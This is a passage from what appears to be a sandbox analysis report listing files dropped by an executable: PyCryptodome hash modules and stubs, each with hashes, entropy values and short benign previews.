Entropy (8bit):	4.9540685583606
Encrypted:	false
SSDEEP:	12:1REYB3vIY3uBRypRyLXFL1AGRT7wNC5slgRkhNcaLBCU6Ry5Ryn:1REcT3mQEXFRAc9rkh6aLB+wy
MD5:	7B1F16C4E7038211DB89A5FA930FA0EE
SHA1:	DD49BD9504AFCB162C3589155FA01D521A768600
SHA-256:	7EEF366E028519327074AADF07FEF65FD87564DEAE82A1DE1E03634A928047AB
SHA-512:	6155A0F2DD3D2DF8F7E0002AFC1EE7877917AA7094EF7D1DBB0F0DEABCD44BECB498C5C0998186C2E09F1C394BF74DE6C526054D42A78D2F552A6E67C062E58C
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_256_Hash(object):.. digest_size: int.. block_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_256_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA3_256_Hash: ..... def new(self, data: Optional[Buffer]) -> SHA3_256_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_256_Hash: .......digest_size: int..block_size: int..

C:\recover\pw\Lib\site-packages\Crypto\Hash\SHA3_384.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6453
Entropy (8bit):	4.700607293143974
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkIlvSvlEGixIVrkW2baOMQXXtPkHnlg:bQHvPGikkXe2ntanO
MD5:	98C4CAA0CC1DA8F19316CA87DCC258CB
SHA1:	E7C38A5E01D9670BA19D51D6157BB609B194E82A
SHA-256:	B804F3AB70381FA5B7140E10F95AB9D95BD62A445BDC7400FCC3DB44869B8AE1
SHA-512:	30424090DE374504F1CE50FD8DE0BACF9596F15F9E37C57564168E8640E9CA311A85249B1C41C770561524B460A482553A80B73871C0B75ACB91E5822154D7E7
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\recover\pw\Lib\site-packages\Crypto\Hash\SHA3_384.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	624
Entropy (8bit):	4.938042917334959
Encrypted:	false
SSDEEP:	12:1REYB3vIY3KHRypRyLXFL1AGRT7wDA5ULgRkhDGaLBCs4Ry5Ryn:1REcT32QEXFRAcVzkhqaLB6wy
MD5:	A889F6824941567ADFBD97E736E360AA
SHA1:	1C23C5A1FFB1F8D288974D55CE3C5AD2E6DD51BC
SHA-256:	D328A5327C257ACA3516C7C11B617D30D5E0C7C9915A32F4C6B3DDFE269DCF7F
SHA-512:	9CCF01936F3174D2EF90CC3B50631282F115D8BF952F4EA2AA4A2F7701C613D9A84DD9FAFB014F01689DDD938E22D258A071DADEBAE83A8376ECEDC6D11279A3
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_384_Hash(object):.. digest_size: int.. block_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_384_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA3_384_Hash: ..... def new(self, data: Optional[Buffer]) -> SHA3_384_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_384_Hash: .......digest_size: int..block_size: int..

C:\recover\pw\Lib\site-packages\Crypto\Hash\SHA3_512.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6305
Entropy (8bit):	4.697217083867846
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkIlhSvzJEdixIV0xWNbaOMrXXWkHM6n:bQHvwmdibxAe5n3ME
MD5:	CECF1A897C1A3BB7B1E1D635D4B37A40
SHA1:	EE9D64CB0C064997FBBFBF9BF8B92C3969AA3CB7
SHA-256:	14062988382CAE40F806020CE67A33D9726DF2D23DEE63D00A99C592D3F2ACE0
SHA-512:	132AADB0D736D949AD5BAD8B93ED4C06001D5ED1F01F16DE70007698AE9C743C11A7FBA8A8F2C39A01EF1B69C07B6DECCCA1F633A31BBDAA3431FC963FE26E7F
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\recover\pw\Lib\site-packages\Crypto\Hash\SHA3_512.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	624
Entropy (8bit):	4.9540685583606
Encrypted:	false
SSDEEP:	12:1REYB3vIY36WHRypRyLXFL1AGRT7wPWA5AWLgRkhPWGaLBCYW4Ry5Ryn:1REcT36WxQEXFRAcuWAGWmkhPWGaLBVF
MD5:	8356FEEC109E4373A23F69FC01C115B5
SHA1:	9825E1FC90E13C9A265835684C57B22C92BD372C
SHA-256:	5699B054358A0C556096C132C09C8B3052E5EFE815A26EDABC5AD5E896BF8E9C
SHA-512:	F9612E9C137858ECC00F2F6CB2E6564CEE149A8ED978B5552FA6CD1E89061BF395B37A92351ECB594F0D47ADD925BB53DBC573654A523CEE4E2F2D2789AAE2E5
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_512_Hash(object):.. digest_size: int.. block_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_512_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA3_512_Hash: ..... def new(self, data: Optional[Buffer]) -> SHA3_512_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_512_Hash: .......digest_size: int..block_size: int..

C:\recover\pw\Lib\site-packages\Crypto\Hash\SHA512.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7924
Entropy (8bit):	4.535718326603204
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkIpywpIreZOTiHSR2c+tTq0iR7IuqNH93aOMqXXVMrynCaK/WxUvxWy:bQHvjyEIqZOzYTq0iONdKUnYqGgRk
MD5:	F7EBB8B3E6EC44133C11F5B75F2AC0CF
SHA1:	4F0230A067019EF92DF555B66D7505BD6229E570
SHA-256:	F4346FEB42803D175A2B4CB2A45FE82882C426A67A64C12AC1D723268D3E7726
SHA-512:	B36AF52C1CD4EC732E1C3A7DB556BCCAF400C298416DE241C763153E784D101F11914D42FF1792513B54EDBBA2297BD49A0B2BEC91AC0AC180151C647F341FE0
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\recover\pw\Lib\site-packages\Crypto\Hash\SHA512.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	644
Entropy (8bit):	4.856785452609936
Encrypted:	false
SSDEEP:	12:1REYB3vIY3eRypRyLu1ApJREVwu5YgR4vORNJt0Ry5Ryn:1REcT3OQEWA1EnTcUNYwy
MD5:	B3762738614E6E1B46387BD0F80C1608
SHA1:	99293AED186FBBBF4D26C3E3A9198F2969596722
SHA-256:	BB0E0DF4F3FFFB4A2B9EFE5B674D7407BBD248678B0BF2A44FF0AA07D247DBDA
SHA-512:	E3B64DDF98F09B098B52AB79D69AF3827A483E4EDA33200B91F87BEB7E37E434D9CB75170635AE509F69D7F328F6B0A9ED258E42410265CE10B263B118C4521A
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA512Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self,.. data: Optional[Buffer],.... truncate: Optional[str]) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA512Hash: ..... def new(self, data: Optional[Buffer] = ...) -> SHA512Hash: .......def new(data: Optional[Buffer] = ...,.. truncate: Optional[str] = ...) -> SHA512Hash: .....digest_size: int..block_size: int..

C:\recover\pw\Lib\site-packages\Crypto\Hash\SHAKE128.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4890
Entropy (8bit):	4.812843153997009
Encrypted:	false
SSDEEP:	96:M7DqrYJALrYJHdt3EHGuIWHgkIl+zui+I4w+7nC/Y/slLH3I:4qrskrs9t3q/IwuiFGC/OOLY
MD5:	6D8138E2212AEA8C9815ABA5BEBD43D9
SHA1:	62A40C2E67FC652354E9A8B3126E77F9D759A174
SHA-256:	D4B807F0F64FE07BE95C7A7F40B4D35024C3A05770C942F9B25A8782B9DE90FB
SHA-512:	66DE5F2B988B9DD0A7D497B6BBBD2920859BC79A529A6200470B6EDB52D36BFEF55A2B51A0146BCC5B08FBDDD9529F9AFCEE1E2E8B86F1731BF6BAF90051484B
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\Hash\SHAKE128.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	450
Entropy (8bit):	4.960253129735369
Encrypted:	false
SSDEEP:	12:1REYB3vIY3wHVXFL1ApJR4QwEh72CX5BgR48OR42:1REcT36XFRA1Nh71m7U1
MD5:	1D2E126B0EA263236F02A5B62DA5903D
SHA1:	BCA2F2DC2A69380180FFEACDB276A6CA7FFD2036
SHA-256:	FCF71DFFB424435A46138D3B0377F30E1DB2AA318600D6DAE7B123DF848D3EA2
SHA-512:	4B806AABF25A8D9A705E282EB11EE73500BC1CF71A6EBE59A35A732DE1F5CA0D960BAC124059EF85AF9A6E5A2023895D7CDB195A884A8161275D9BE237F0A518
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHAKE128_XOF(object):.. oid: str.. def __init__(self,.. data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> SHAKE128_XOF: ..... def read(self, length: int) -> bytes: ..... def new(self, data: Optional[Buffer] = ...) -> SHAKE128_XOF: .......def new(data: Optional[Buffer] = ...) -> SHAKE128_XOF: .....

C:\recover\pw\Lib\site-packages\Crypto\Hash\SHAKE256.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4892
Entropy (8bit):	4.816809610030539
Encrypted:	false
SSDEEP:	96:M7DqrYJALrYJHdt3EHGuIWHgkIlHzPiPI7+7nC/Y/sl3nbI:4qrskrs9t3q/IZPiyGC/+O3M
MD5:	0B15BEEE639A9999E98C64F769F9133D
SHA1:	3D1366E4788CB51E655EC8C76AA3B7DB6FB98DF9
SHA-256:	3BE322B0801ABA422C870967EC82AF10958F370C944B3E6370EE8C2F7A1E7046
SHA-512:	B66693BFB0AAAD73F1BCEAE3DA2410EA53B3366734FDAC0985D7B0C0ACDC849BA98C2D9DA1A0C418FD1C9D757D9430C099F847E7E67B48443A3E55228ACFA0E1
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\Hash\SHAKE256.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	450
Entropy (8bit):	4.960253129735369
Encrypted:	false
SSDEEP:	12:1REYB3vIY3gHVXFL1ApJR4QwIh72CX5BgR4gOR4K:1REcT3g1XFRA1Rh71m/UZ
MD5:	7A030ACE3463C718EAA115B061D5E0CE
SHA1:	0525426CE1A9ABE207F53E953EA8E272E423D512
SHA-256:	5FF0C2256DD9F35EB7BF58D07EDC5A27E73173221079006B1AF95D0B114863A4
SHA-512:	230109D6EAC483A3DFA0E268477D860AF0DB445D89EF5E39B32A9833CC85E8FBD610C88993CABB097A60630620539191A6AC9742DAD3A7FA141600C7AC4603D5
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHAKE256_XOF(object):.. oid: str.. def __init__(self,.. data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> SHAKE256_XOF: ..... def read(self, length: int) -> bytes: ..... def new(self, data: Optional[Buffer] = ...) -> SHAKE256_XOF: .......def new(data: Optional[Buffer] = ...) -> SHAKE256_XOF: .....

C:\recover\pw\Lib\site-packages\Crypto\Hash\TupleHash128.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	5.0581555982839435
Encrypted:	false
SSDEEP:	96:MMDqrYJALrYJHdt3EHGuIWHEnGLBx9RhHAygOAHbaIfoCIUCP9lVtpCj:Nqrskrs9t3q/ImHhzvfPoj
MD5:	386FB9A133C912AF07687FA9D1EE193A
SHA1:	FCA1900C47A573551C1EE74694CB0D374C7B20C7
SHA-256:	36051EA4794AA6687E689974F315CE9CE9620EC1F9B1AB4C2F0F9C8099D87BBF
SHA-512:	1A92C554CABE3DBF6A013E685D6FB919B47A39BF2429795CA87CEC1C15405F386644F141B79923B6B79833E15ABBA02A211FA939CBB0749888ACBD304AB2AE45
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\Hash\TupleHash128.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	688
Entropy (8bit):	4.533807558794474
Encrypted:	false
SSDEEP:	12:1REYBzRo8seUvIY39cHRyD1AQ0dWRFwiOtC5J3r3/V039WgtcP33/RM33dWgtW:1REEyNT39oIAvdWtrj/VGif/qns
MD5:	19A89FFFB5E19D2A439870AA97B56DF2
SHA1:	32377BCB0660A03F28324C68EF03E94D0239A1DD
SHA-256:	B5671E5E8FC4513C2E0C9F072C1A9C868656F0CD66783DC011FC4556C1BD2306
SHA-512:	466932A02E76056468E12E1984DD3EA0DE44A3544DEA95F19723BE2EBBD9887D177AB7B3F75BAAA74E74D154C396DA468AA8F5492917599154EAEF04F3546B19
Malicious:	false
Preview:	from typing import Any, Union, List, Tuple..from types import ModuleType....Buffer = Union[bytes, bytearray, memoryview]....class TupleHash(object):.. digest_size: int.. def __init__(self,.... custom: bytes,.. cshake: ModuleType,.. digest_size: int) -> None: ..... def update(self, *data: Buffer) -> TupleHash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def new(self,... digest_bytes: int = ...,... digest_bits: int = ...,.. custom: int = ...) -> TupleHash: .......def new(digest_bytes: int = ...,... digest_bits: int = ...,.. custom: int = ...) -> TupleHash: .....

C:\recover\pw\Lib\site-packages\Crypto\Hash\TupleHash256.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2902
Entropy (8bit):	5.194127497375906
Encrypted:	false
SSDEEP:	48:MMWOqrYJALrYJHdG43tDs3EsIG13NcuIH2H9useGoCWxVGpYPGQ2IlstzSiwtpCj:MMDqrYJALrYJHdt3EHGuIWHdroCIUCPG
MD5:	CA7F63F5DC1A1059E168A5580E88B78B
SHA1:	4064F740C7E09083F8CF354BB24A56778D83D6A4
SHA-256:	96BB2970B54CC270DE193FB71155AFFBF54F9ACF21310AC4AD968893A478B3DF
SHA-512:	C259EF33FB4747529BF9496E3E78B9548279FDAE9BFE2E318FF8A7BFE13815500CBF4A31887A89D9DE21FFBB83897DCAC5F43AAA62C675A1A7473600B439BCCF
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\Hash\TupleHash256.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	149
Entropy (8bit):	4.609062935971047
Encrypted:	false
SSDEEP:	3:1Lx7/NULQk8xNovSyrzcAiwZJysFTMCAW6wWfFKRiZJyFrIftZMFySJINfFDy:1Lx7/NULQXNoFrzcAx3ysRMhwWfsRi3s
MD5:	0C079EDD19DA6729069C7098599200CD
SHA1:	31985EE067F54DFCA6F334621CA9018D2A61DA15
SHA-256:	0B014A808207E4C2A6375DFD6ADE40C97B5802C8F9EA76748F333C1386C6704C
SHA-512:	5DFC7A622B54993F74F2848B595FDFCB33B63E43EDE31D384D4A635B179030EFC1222545607C8B816B90AC6FB273B8937B135F42B95AEB08AB906CF899027EB4
Malicious:	false
Preview:	from .TupleHash128 import TupleHash....def new(digest_bytes: int = ...,... digest_bits: int = ...,.. custom: int = ...) -> TupleHash: .....

C:\recover\pw\Lib\site-packages\Crypto\Hash\TurboSHAKE128.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3947
Entropy (8bit):	4.323340706359232
Encrypted:	false
SSDEEP:	96:+IlTHsKL8yk4PiQIXA+7nC/YlPAsAugmSfNZPqjp:bdiAGC/qAVAd
MD5:	B786224B4B79C69778DB52AC58F83E63
SHA1:	B2CCDF0809F838CFFF9C26D07857A01FE2F5AB8A
SHA-256:	512A0D196EFEDAB1E320041D54BFFBF7366C4D35EA95D7290732DB1FD8A946EA
SHA-512:	EA77F39AAC1E3EAB9966F45693591FE8F696929858D89329CB84B54D0C590A431C548188B003DF04DF513C3F33AFA2E67B30932CE5E981EF00A1B6B9D429BAD0
Malicious:	false
Preview:	from Crypto.Util._raw_api import (VoidPointer, SmartPointer,.. create_string_buffer,.. get_raw_buffer, c_size_t,.. c_uint8_ptr, c_ubyte)....from Crypto.Util.number import long_to_bytes..from Crypto.Util.py3compat import bchr....from .keccak import _raw_keccak_lib......class TurboSHAKE(object):.. """A TurboSHAKE hash object... Do not instantiate directly... Use the :func:`new` function... """.... def __init__(self, capacity, domain_separation, data):.... state = VoidPointer().. result = _raw_keccak_lib.keccak_init(state.address_of(),.. c_size_t(capacity),.. c_ubyte(12)) # Reduced number of rounds.. if result:.. raise ValueError("Error %d while instantiating TurboSHAKE".. % result).. self._state = SmartPointer(state.get()

C:\recover\pw\Lib\site-packages\Crypto\Hash\TurboSHAKE128.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	591
Entropy (8bit):	5.065116097079714
Encrypted:	false
SSDEEP:	12:1REYBlRE1B9YplvIY39fIL1AzvQ1aEeEWmodFwIiRh72CX5BgRE3GH1dmF:1REOC1bClT39fIRAqYi6LiRh71mEc1dA
MD5:	B0223AB14FDA42D6811F55259F9BE663
SHA1:	409E32782D3A86B66CEBABFA703D72BD682C069A
SHA-256:	B7617049D0B2131180EA0B73AE8CAC73839A27D394BE6B4D9796F9D0198DE6B7
SHA-512:	4A1180FD51BFE2A50EB344A19EFB954C5071218C169F14AC7A86D72BC45B946A35E7CDC4A06E616A20948F235D501AD24B113F2B9ABF56D68F4100F0C2DE8410
Malicious:	false
Preview:	from typing import Union, Optional..from typing_extensions import TypedDict, Unpack, NotRequired....Buffer = Union[bytes, bytearray, memoryview]....class TurboSHAKE(object):.... def __init__(self, capacity: int, domain_separation: int, data: Union[Buffer, None]) -> None: ..... def update(self, data: Buffer) -> TurboSHAKE : ..... def read(self, length: int) -> bytes: ..... def new(self, data: Optional[Buffer]=None) -> TurboSHAKE: .......class Args(TypedDict):.. domain: NotRequired[int].. data: NotRequired[Buffer]....def new(**kwargs: Unpack[Args]) -> TurboSHAKE: .....

C:\recover\pw\Lib\site-packages\Crypto\Hash\TurboSHAKE256.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	779
Entropy (8bit):	4.819439474706594
Encrypted:	false
SSDEEP:	12:1sumDc9v5Wb6SSkBXM6WhieoHvsPVEzmSqQeEFAcVG/Ebbj9jWAEsI:1sTDg5ESkOhNZPMmSq2FoM9jRI
MD5:	630FCFB160AFD4A4B095C35901777556
SHA1:	0F039C3A2C5205D2105A79B5EB2777884DC8E490
SHA-256:	AD79E152A2C83EE90AC61FF7245DF570673FBE28720D9DE8E07E2FDDBF0E51DB
SHA-512:	9ED88DA711066739EDB47EFB65755A57F9C18402A9AD5C112CF32BE13B97615C2C835A46C8E4E5CD89CBDB5EE6A9BE181A4CC42A1D6F4617F8AACB3C43F76878
Malicious:	false
Preview:	from .TurboSHAKE128 import TurboSHAKE....def new(**kwargs):.. """Create a new TurboSHAKE256 object..... Args:.. domain (integer):.. Optional - A domain separation byte, between 0x01 and 0x7F... The default value is 0x1F... data (bytes/bytearray/memoryview):.. Optional - The very first chunk of the message to hash... It is equivalent to an early call to :meth:`update`..... :Return: A :class:`TurboSHAKE` object.. """.... domain_separation = kwargs.get('domain', 0x1F).. if not (0x01 <= domain_separation <= 0x7F):.. raise ValueError("Incorrect domain separation value (%d)" %.. domain_separation).. data = kwargs.get('data').. return TurboSHAKE(64, domain_separation, data=data)..

C:\recover\pw\Lib\site-packages\Crypto\Hash\TurboSHAKE256.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	318
Entropy (8bit):	5.138819601387305
Encrypted:	false
SSDEEP:	6:1REYBXa4REsuB9cebopy1LxyJQmUUzrIY3MT7O3ymK95lvdgzSNFIF:1REYBXa4RE1B9YSsumtvIY3eH1dmF
MD5:	0F8CE87AD72ECACADED5EB6869C0C063
SHA1:	4C8EBDA5C1826749B747BF268036DC11A1FD9CC3
SHA-256:	86DEA501F8ED56BAE7652415243B38845AB1C94A1E4AD0E737A98A37A80235EA
SHA-512:	8CD3AF34C3FD94E6DBE15575BB3AC6C84AFBAF14067066E53EEE3A727866C5E626E323C6ED4736186E21056D4A27EF57184DFAE378A9B8E53210F340051649ED
Malicious:	false
Preview:	from typing import Union..from typing_extensions import TypedDict, Unpack, NotRequired....from .TurboSHAKE128 import TurboSHAKE....Buffer = Union[bytes, bytearray, memoryview]....class Args(TypedDict):.. domain: NotRequired[int].. data: NotRequired[Buffer]....def new(**kwargs: Unpack[Args]) -> TurboSHAKE: .....

C:\recover\pw\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.577128040106931
Encrypted:	false
SSDEEP:	192:ioG8PEXpAeBWctWJmI5jO1hJycHFvleUAH2Nh2m4AjWoKemMVnQ8NM:i3pAu4JmAjGMajC2NhqOWoFnQm
MD5:	924B83B89DCEFB7C6DCB44A7D58F8EE2
SHA1:	15A755D52961B5DBC38C2DB1346089717B5E107C
SHA-256:	49DC3F64559A5EC163034EE29577EB45A242A5D2EFD6B9364110D26E8AE325FD
SHA-512:	C0F9687DFB8A2EDEB227C00D07478F54B66692F8110FA146B00EB345D450976C741CC0178D919386A5A117E621A7A0A1BAFC3744102A3E6D2CB5FFEDE20B2EAA
Malicious:	false
